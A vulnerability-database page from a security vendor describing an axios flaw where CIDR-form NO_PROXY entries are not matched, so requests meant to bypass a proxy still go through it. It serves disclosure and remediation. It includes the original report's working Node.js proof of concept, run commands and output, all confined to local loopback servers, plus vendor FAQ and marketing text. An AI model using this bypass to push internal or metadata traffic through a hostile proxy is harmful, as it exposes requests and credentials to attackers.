How should we interpret CVSS severity scores?

CVSS estimates technical severity, but it does not automatically equal business risk. Prioritize using context like internet exposure, asset criticality, known exploitation, and whether compensating controls exist. A Medium CVSS on an exposed production system can be more urgent than a Critical on an isolated non-production host.

Vulnerability Database

Q: What is a Vulnerability (CVE) and why does it matter?

A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.

Q: What's the difference between a vulnerability, an exploit, and a zero-day?

A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. Risk increases sharply when exploitation becomes reliable or widespread.

Q: Why do vulnerabilities keep reappearing in our environment?

Recurring findings usually come from incomplete asset discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host.

Q: How do we prioritize remediation without burning out the team?

Use a repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress so remediation is steady, not reactive.

Q: How can SynScan help reduce vulnerability risk over time?

SynScan combines attack surface monitoring and continuous security auditing to keep your inventory current, flag high-impact vulnerabilities early, and help you turn raw findings into a practical remediation plan.

393,544

Total vulnerabilities in the database

CVE-2026-101899 — axios / axios

Protection Mechanism Failure

Summary

Axios supports proxy environment variables and evaluates NO_PROXY exclusions in the Node.js adapter. CIDR-form NO_PROXY entries such as 127.0.0.0/8, 10.0.0.0/8, or 169.254.169.254/32 are not interpreted as IP ranges. As a result, a request to an IP address inside a configured CIDR exclusion can still be sent through the configured proxy.

This affects deployments that rely on CIDR notation to keep loopback, private, Kubernetes, CI, or cloud metadata traffic away from proxy infrastructure.

Impact

If the configured proxy is outside the intended trust boundary, requests that operators expected to bypass the proxy may be exposed to it. For plaintext HTTP targets, the proxy can see and modify URLs, headers, and bodies. For HTTPS targets, the proxy still observes connection metadata and may receive CONNECT requests that policy expected to avoid.

This is a proxy exclusion bypass, not arbitrary proxy injection by itself.

Affected Functionality

Affected:

Node.js adapter proxy environment handling.
HTTP_PROXY, HTTPS_PROXY, NO_PROXY, or lowercase equivalents.
CIDR entries in NO_PROXY.

Not affected:

Exact host or exact IP NO_PROXY entries where axios matching succeeds.
Requests configured with proxy: false.
Browser adapters.

Technical Details

lib/helpers/shouldBypassProxy.js parses each NO_PROXY entry into a host and optional port, normalizes hostnames, and then compares exact hostnames, suffix entries, wildcard-prefix entries, and loopback equivalents. It does not parse CIDR notation.

Local verification on axios 1.18.1:

process.env.NO_PROXY = &#039;127.0.0.0/8&#039;;
shouldBypassProxy(&#039;http://127.0.0.1:1234/&#039;); // false

The expected result for CIDR-aware bypass policy is true.

Proof of Concept of Attack

Constrained local demonstration:

Set HTTP_PROXY=http://127.0.0.1:<proxy-port>.
Set NO_PROXY=127.0.0.0/8.
Request http://127.0.0.1:<internal-port>/metadata.
Observe that axios sends the request through the proxy instead of directly to the internal listener.

Workarounds

Use exact host or IP entries in NO_PROXY for sensitive destinations until CIDR matching is fixed, for example 127.0.0.1,localhost,169.254.169.254. For individual requests that must not use a proxy, set proxy: false.

<details> <summary><h3>Original report</h3></summary>

Summary

Axios 1.17.0 honors HTTP_PROXY / HTTPS_PROXY and supports NO_PROXY host exclusions, but CIDR-form NO_PROXY entries such as 127.0.0.0/8 are not treated as network ranges. As a result, requests to IPs covered by a configured CIDR exclusion may still be sent through the configured proxy.

In the attached PoC, a request to 127.0.0.1 is sent through HTTP_PROXY despite NO_PROXY=127.0.0.0/8.

This can cause proxy exclusion bypass in environments where operators use CIDR notation to exclude loopback, private, internal, Kubernetes, CI, or cloud metadata address ranges from proxying.

Details

Axios supports proxy environment variables, including HTTP_PROXY / HTTPS_PROXY and NO_PROXY-style exclusions. Axios’s threat model treats environment proxy handling as security-relevant and lists NO_PROXY as a mitigation for proxy environment variable hijack, including hardening for CIDR ranges, IPv6 literals, and wildcard patterns. See: https://github.com/axios/axios/blob/a8e4f13aeecc45a3b8fab3ecfd9ddb5d70fb772b/THREATMODEL.md#t-r9-proxy-environment-variable-hijack

The issue is that CIDR-form NO_PROXY entries are not interpreted as network ranges. For example:

NO_PROXY=127.0.0.0/8
HTTP_PROXY=http://127.0.0.1:&lt;proxy-port&gt;
Target URL=http://127.0.0.1:&lt;internal-port&gt;/metadata

Since 127.0.0.1 is inside 127.0.0.0/8, an operator may reasonably expect Axios to bypass the proxy for this request. Instead, Axios sends the request through HTTP_PROXY.

This appears to affect the proxy bypass decision path used for NO_PROXY / no_proxy handling. The relevant behavior is in Axios's Node proxy handling and NO_PROXY evaluation logic, including the shouldBypassProxy helper introduced for no_proxy hostname normalization and bypass checks.

The issue is not that Axios ignores NO_PROXY entirely. Exact host exclusions work. The issue is specifically that CIDR-form exclusions are silently treated as non-matching host/domain tokens rather than as network ranges, causing the request to be proxied.

This is security-relevant because CIDR notation is commonly used in container, CI, enterprise proxy, and cloud environments for ranges such as:

127.0.0.0/8
10.0.0.0/8
172.16.0.0/12
192.168.0.0/16
169.254.169.254/32

If operators rely on those entries to prevent internal or metadata-style requests from traversing a proxy, Axios may violate that expectation.

PoC

import http from &#039;http&#039;;
import axios from &#039;axios&#039;;

function listen(server, host) {
  return new Promise((resolve, reject) =&gt; {
    server.once(&#039;error&#039;, reject);
    server.listen(0, host, () =&gt; resolve(server.address().port));
  });
}

function close(server) {
  return new Promise((resolve) =&gt; server.close(resolve));
}

let proxyHits = 0;
let internalHits = 0;

const internal = http.createServer((req, res) =&gt; {
  internalHits += 1;
  res.writeHead(200, { &#039;content-type&#039;: &#039;text/plain&#039; });
  res.end(`internal service saw ${req.url}`);
});

const proxy = http.createServer((req, res) =&gt; {
  proxyHits += 1;
  res.writeHead(200, { &#039;content-type&#039;: &#039;text/plain&#039; });
  res.end(`proxy saw request for ${req.url}`);
});

const internalHost = process.env.POC_INTERNAL_HOST || &#039;127.0.0.2&#039;;
const proxyHost = process.env.POC_PROXY_HOST || &#039;127.0.0.1&#039;;

let internalPort;
let proxyPort;

try {
  internalPort = await listen(internal, internalHost);
  proxyPort = await listen(proxy, proxyHost);
} catch (error) {
  console.error(&#039;Failed to bind local PoC servers.&#039;);
  console.error(&#039;On some systems 127.0.0.2 is unavailable; try:&#039;);
  console.error(&#039;  POC_INTERNAL_HOST=127.0.0.1 node poc-no-proxy-cidr-axios.mjs&#039;);
  console.error(&#039;&#039;);
  throw error;
}

const targetUrl = `http://${internalHost}:${internalPort}/metadata`;
const proxyUrl = `http://${proxyHost}:${proxyPort}`;
const noProxy = process.env.POC_NO_PROXY || &#039;127.0.0.0/8&#039;;

process.env.http_proxy = proxyUrl;
process.env.HTTP_PROXY = proxyUrl;
process.env.no_proxy = noProxy;
process.env.NO_PROXY = noProxy;

console.log(&#039;Axios NO_PROXY CIDR full axios network PoC&#039;);
console.log(`axios VERSION=${axios.VERSION || &#039;unknown&#039;}`);
console.log(`NO_PROXY=${process.env.no_proxy}`);
console.log(`HTTP_PROXY=${process.env.http_proxy}`);
console.log(`Target URL=${targetUrl}`);
console.log(&#039;&#039;);

try {
  const response = await axios.get(targetUrl, {
    timeout: 2000,
  });

  console.log(`Response=${response.data}`);
  console.log(`Proxy hits=${proxyHits}`);
  console.log(`Internal direct hits=${internalHits}`);
  console.log(&#039;&#039;);

  if (proxyHits &gt; 0 &amp;&amp; internalHits === 0) {
    console.log(`POC RESULT: axios sent the target through the proxy with NO_PROXY=${noProxy}.`);
  } else if (proxyHits === 0 &amp;&amp; internalHits &gt; 0) {
    console.log(`POC RESULT: axios bypassed the proxy with NO_PROXY=${noProxy}.`);
  } else {
    console.log(&#039;POC RESULT: mixed/ambiguous routing; inspect counts above.&#039;);
  }
} finally {
  delete process.env.http_proxy;
  delete process.env.HTTP_PROXY;
  delete process.env.no_proxy;
  delete process.env.NO_PROXY;
  await close(proxy);
  await close(internal);
}

Run the failing CIDR case:

POC_INTERNAL_HOST=127.0.0.1 node poc-no-proxy-cidr-axios.mjs

Observed:

Axios NO_PROXY CIDR full axios network PoC
axios VERSION=1.17.0
NO_PROXY=127.0.0.0/8
HTTP_PROXY=http://127.0.0.1:34315
Target URL=http://127.0.0.1:43993/metadata

Response=proxy saw request for http://127.0.0.1:43993/metadata
Proxy hits=1
Internal direct hits=0

POC RESULT: axios sent the target through the proxy with NO_PROXY=127.0.0.0/8.

Control

Axios does honor exact IP NO_PROXY entries:

POC_INTERNAL_HOST=127.0.0.1 POC_NO_PROXY=127.0.0.1 node poc-no-proxy-cidr-axios.mjs

Expected:

NO_PROXY=127.0.0.1
Response=internal service saw /metadata
Proxy hits=0
Internal direct hits=1

POC RESULT: axios bypassed the proxy with NO_PROXY=127.0.0.1.

This shows the issue is not that NO_PROXY is ignored entirely. The bypass failure is specific to CIDR-form entries such as 127.0.0.0/8.

Impact

This is a proxy exclusion bypass caused by unsupported CIDR matching in NO_PROXY.

The impact is configuration-dependent. It affects Axios users in Node.js environments who rely on proxy environment variables and configure NO_PROXY using CIDR notation to exclude internal, loopback, private, Kubernetes, CI, or cloud metadata ranges.

Potentially impacted environments include:

CI/CD runners with globally injected HTTP_PROXY / HTTPS_PROXY.
Containers inheriting proxy variables from the host or orchestrator.
Kubernetes workloads using NO_PROXY for cluster-internal service ranges.
Enterprise networks using HTTP proxies with internal network exclusions.
Cloud workloads relying on NO_PROXY to keep metadata or internal service requests off proxy infrastructure.

If a configured proxy is compromised, attacker-controlled, overly broad, or outside the intended trust boundary, requests that operators expected to stay direct may instead be exposed to that proxy. This may expose request URLs, internal hostnames, paths, headers, or credentials depending on application behavior.

This should not be characterized as arbitrary proxy injection by itself. The issue is that Axios silently fails to enforce common CIDR-form proxy exclusions, which can undermine proxy bypass policy and defense-in-depth assumptions. </details>

Published: Sep 30, 2026
Updated: Oct 2, 2026
CVE: CVE-2026-101899
GHSA: GHSA-44g4-m2mj-wpvx
Severity: Medium
Exploit:
CISA KEV:

No technical information available.

CWEs:

CWE-693

Affected Software
References

Software	Affected versions
axios / axios	`>= 1.15.0, < 1.20.0`

Deep Security Visibility Without the Complexity

SynScan provides clear, real-time security insights so you can monitor your attack surface, spot risks early, and act fast—without extra complexity.

No setup fees
5-min deployment
Cancel anytime

Book a Demo

Frequently Asked Questions

What is a Vulnerability (CVE) and why does it matter?

A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.

CVSS (Common Vulnerability Scoring System) estimates technical severity, but it doesn't automatically equal business risk. Prioritize using context like internet exposure, affected asset criticality, known exploitation (proof-of-concept or in-the-wild), and whether compensating controls exist. A "Medium" CVSS on an exposed, production system can be more urgent than a "Critical" on an isolated, non-production host.

A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. In practice, risk increases sharply when exploitation becomes reliable or widespread.

Recurring findings usually come from incomplete Asset Discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host. Unknown or unmanaged assets (often called Shadow IT) are a common reason the same issues resurface.

Use a simple, repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress using consistent metrics so remediation is steady, not reactive.

SynScan combines attack surface monitoring and continuous security auditing to keep your inventory current, flag high-impact vulnerabilities early, and help you turn raw findings into a practical remediation plan.